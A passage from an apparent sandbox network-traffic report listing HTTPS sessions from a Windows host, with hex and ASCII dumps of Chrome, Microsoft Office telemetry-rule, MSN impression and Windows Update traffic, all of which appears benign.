width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42 0-70.5-28.5T110-217q0-14 3-25.5t9-21.5l228-341q10-14 15-31t5-34v-110h-20q-13 0-21.5-8.5T320-810q0-13
2024-11-24 03:20:29 UTC	1390	IN	Data Raw: 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 7a 4d 31 32 2c 38 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 32 30 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c Data Ascii: 1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2 -0.9,-2 -2,-2 -2,0.9 -2,2zM12,8c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,20c1.1,0 2,-0.9 2,
2024-11-24 03:20:29 UTC	1390	IN	Data Raw: 65 6e 75 2d 63 6f 6e 74 65 6e 74 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 62 61 72 5f 68 65 69 67 68 74 22 3a 36 30 2c 22 65 78 70 65 72 69 6d 65 6e 74 5f 69 64 22 3a 5b 33 37 30 30 33 33 32 2c 33 37 30 30 39 34 39 2c 33 37 30 31 33 38 34 5d 2c 22 69 73 5f 62 61 63 6b 75 70 5f 62 61 72 22 3a 66 61 6c 73 65 7d 2c 22 70 61 67 65 5f 68 6f 6f 6b 73 22 3a 7b 22 61 66 74 65 72 5f 62 61 72 5f 73 63 72 69 70 74 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 73 63 72 69 70 74 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 74 68 69 73 2e 67 62 61 72 5f 5c 75 30 30 33 64 74 68 69 73 2e 67 62 61 72 5f 7c 7c 7b 7d 3b 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 5c 75 Data Ascii: enu-content","metadata":{"bar_height":60,"experiment_id":[3700332,3700949,3701384],"is_backup_bar":false},"page_hooks":{"after_bar_script":{"private_do_not_access_or_else_safe_script_wrapped_value":"this.gbar_\u003dthis.gbar_\|\|{};(function(_){var window\u
2024-11-24 03:20:29 UTC	878	IN	Data Raw: 72 61 79 28 62 29 3b 66 6f 72 28 6c 65 74 20 64 5c 75 30 30 33 64 30 3b 64 5c 75 30 30 33 63 62 3b 64 2b 2b 29 63 5b 64 5d 5c 75 30 30 33 64 61 5b 64 5d 3b 72 65 74 75 72 6e 20 63 7d 72 65 74 75 72 6e 5b 5d 7d 3b 49 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 5f 2e 48 64 28 62 5c 75 30 30 33 64 5c 75 30 30 33 65 62 2e 73 75 62 73 74 72 28 30 2c 61 2e 6c 65 6e 67 74 68 2b 31 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 61 2b 5c 22 3a 5c 22 29 7d 3b 5f 2e 4a 64 5c 75 30 30 33 64 67 6c 6f 62 61 6c 54 68 69 73 2e 74 72 75 73 74 65 64 54 79 70 65 73 3b 5f 2e 4b 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 69 Data Ascii: ray(b);for(let d\u003d0;d\u003cb;d++)c[d]\u003da[d];return c}return[]};Id\u003dfunction(a){return new _.Hd(b\u003d\u003eb.substr(0,a.length+1).toLowerCase()\u003d\u003d\u003da+\":\")};_.Jd\u003dglobalThis.trustedTypes;_.Kd\u003dclass{constructor(a){this.i
2024-11-24 03:20:29 UTC	419	IN	Data Raw: 31 39 63 0d 0a 74 75 72 6e 3b 61 5c 75 30 30 33 64 2b 61 7d 69 66 28 74 79 70 65 6f 66 20 61 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 6e 75 6d 62 65 72 5c 22 29 72 65 74 75 72 6e 20 4e 75 6d 62 65 72 2e 69 73 46 69 6e 69 74 65 28 61 29 3f 61 7c 30 3a 76 6f 69 64 20 30 7d 3b 53 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 29 7b 6c 65 74 20 61 5c 75 30 30 33 64 6e 75 6c 6c 3b 69 66 28 21 52 64 29 72 65 74 75 72 6e 20 61 3b 74 72 79 7b 63 6f 6e 73 74 20 62 5c 75 30 30 33 64 63 5c 75 30 30 33 64 5c 75 30 30 33 65 63 3b 61 5c 75 30 30 33 64 52 64 2e 63 72 65 61 74 65 50 6f 6c 69 63 79 28 5c 22 6f 67 62 2d 71 74 6d 23 68 74 6d 6c 5c 22 2c 7b 63 72 65 61 74 65 48 54 4d 4c 3a 62 2c 63 72 65 61 74 65 53 63 72 69 70 74 3a 62 2c 63 72 65 61 74 Data Ascii: 19cturn;a\u003d+a}if(typeof a\u003d\u003d\u003d\"number\")return Number.isFinite(a)?a\|0:void 0};Sd\u003dfunction(){let a\u003dnull;if(!Rd)return a;try{const b\u003dc\u003d\u003ec;a\u003dRd.createPolicy(\"ogb-qtm#html\",{createHTML:b,createScript:b,creat
2024-11-24 03:20:29 UTC	1390	IN	Data Raw: 38 30 30 30 0d 0a 29 3b 72 65 74 75 72 6e 20 6e 65 77 20 5f 2e 56 64 28 62 3f 62 2e 63 72 65 61 74 65 53 63 72 69 70 74 55 52 4c 28 61 29 3a 61 29 7d 3b 5f 2e 58 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 56 64 29 72 65 74 75 72 6e 20 61 2e 69 3b 74 68 72 6f 77 20 45 72 72 6f 72 28 5c 22 46 5c 22 29 3b 7d 3b 5f 2e 5a 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 59 64 2e 74 65 73 74 28 61 29 29 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 24 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 4b 64 29 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 4b 64 29 61 5c 75 30 30 33 64 61 2e 69 3b 65 6c 73 65 20 74 68 72 Data Ascii: 8000);return new _.Vd(b?b.createScriptURL(a):a)};_.Xd\u003dfunction(a){if(a instanceof _.Vd)return a.i;throw Error(\"F\");};_.Zd\u003dfunction(a){if(Yd.test(a))return a};_.$d\u003dfunction(a){if(a instanceof _.Kd)if(a instanceof _.Kd)a\u003da.i;else thr
2024-11-24 03:20:29 UTC	1390	IN	Data Raw: 7c 7c 64 6f 63 75 6d 65 6e 74 3b 63 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 3f 61 5c 75 30 30 33 64 63 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 28 61 29 5b 30 5d 3a 28 63 5c 75 30 30 33 64 64 6f 63 75 6d 65 6e 74 2c 61 3f 61 5c 75 30 30 33 64 28 62 7c 7c 63 29 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 61 3f 5c 22 2e 5c 22 2b 61 3a 5c 22 5c 22 29 3a 28 62 5c 75 30 30 33 64 62 7c 7c 63 2c 61 5c 75 30 30 33 64 28 61 3f 62 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 61 3f 5c 22 2e 5c 22 2b 61 3a 5c 22 5c 22 29 3a 62 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 5c 22 2a 5c 22 29 29 5b 30 5d 7c 7c 6e 75 6c 6c 29 29 3b 72 65 74 75 72 6e 20 61 7c 7c 6e 75 6c 6c 7d 3b 5c 6e Data Ascii: \|\|document;c.getElementsByClassName?a\u003dc.getElementsByClassName(a)[0]:(c\u003ddocument,a?a\u003d(b\|\|c).querySelector(a?\".\"+a:\"\"):(b\u003db\|\|c,a\u003d(a?b.querySelectorAll(a?\".\"+a:\"\"):b.getElementsByTagName(\"*\"))[0]\|\|null));return a\|\|null};\n

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.6	49760	142.250.181.100	443	7864	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:20:28 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-24 03:20:29 UTC	933	IN	HTTP/1.1 200 OK Version: 698289427 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Sun, 24 Nov 2024 03:20:28 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-24 03:20:29 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-11-24 03:20:29 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.6	49764	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:20:28 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:20:28 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:20:28 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: 4ec414f5-001e-0046-5fa0-3bda4b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032028Z-174c587ffdfb74xqhC1TEBhabc00000003ug00000000e48v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:20:28 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.6	49763	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:20:28 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:20:28 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:20:28 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 798eb064-701e-0021-422e-3c3d45000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032028Z-178bfbc474b7cbwqhC1NYC8z4n000000057000000000hypq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:20:28 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.6	49762	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:20:28 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:20:28 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:20:28 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: 367ebca4-601e-0070-6762-3ba0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032028Z-178bfbc474brk967hC1NYCfu60000000053000000000hp15 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:20:28 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.6	49765	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:20:28 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:20:28 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:20:28 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: babf4520-701e-005c-6e46-3cbb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032028Z-178bfbc474bgvl54hC1NYCsfuw000000058g00000000m6t9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:20:28 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.6	49766	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:20:28 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:20:28 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:20:28 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: a72cf994-301e-0099-6e45-3c6683000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032028Z-178bfbc474b7cbwqhC1NYC8z4n00000005ag000000007dy6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:20:28 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.6	49772	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:20:30 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:20:30 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:20:30 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: 8157cc8d-f01e-0003-1961-3b4453000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032030Z-178bfbc474bpnd5vhC1NYC4vr400000005cg0000000088tg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:20:30 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.6	49770	20.103.156.88	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:20:30 UTC	265	OUT	POST /v3/Delivery/Events/Impression HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Content-Length: 1513 Content-Type: text/plain; charset=UTF-8 Host: arc.msn.com Connection: Keep-Alive Cache-Control: no-cache
2024-11-24 03:20:30 UTC	1513	OUT	Data Raw: 50 49 44 3d 34 32 36 30 38 31 35 34 32 26 54 49 44 3d 31 26 43 49 44 3d 31 32 38 30 30 30 30 30 30 30 30 31 36 31 35 36 30 39 26 42 49 44 3d 31 32 38 38 33 32 34 31 35 37 26 50 47 3d 50 43 30 30 30 50 30 46 52 35 2e 30 30 30 30 30 30 30 49 52 55 26 54 50 49 44 3d 34 32 36 30 38 31 35 34 32 26 52 45 51 41 53 49 44 3d 35 36 45 44 37 37 36 41 34 42 37 42 34 32 36 30 39 34 38 34 36 46 36 31 31 31 41 36 33 41 46 46 26 41 53 49 44 3d 65 39 66 39 38 38 66 64 62 64 31 33 34 65 62 38 61 32 39 35 35 36 61 62 66 63 37 65 30 39 30 38 26 54 49 4d 45 3d 32 30 32 34 31 31 32 34 54 30 33 32 30 32 32 5a 26 53 4c 4f 54 3d 31 26 52 45 51 54 3d 32 30 32 34 31 31 32 34 54 30 33 32 30 32 30 26 4d 41 5f 53 63 6f 72 65 3d 30 26 26 44 53 5f 45 56 54 49 44 3d 35 36 45 44 37 37 36 Data Ascii: PID=426081542&TID=1&CID=128000000001615609&BID=1288324157&PG=PC000P0FR5.0000000IRU&TPID=426081542&REQASID=56ED776A4B7B426094846F6111A63AFF&ASID=e9f988fdbd134eb8a29556abfc7e0908&TIME=20241124T032022Z&SLOT=1&REQT=20241124T032020&MA_Score=0&&DS_EVTID=56ED776
2024-11-24 03:20:31 UTC	394	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/xml; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [] X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Sun, 24 Nov 2024 03:20:29 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.6	49771	4.175.87.197	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:20:30 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=ZC9rhHYPRGGDass&MD=WahvoXU8 HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
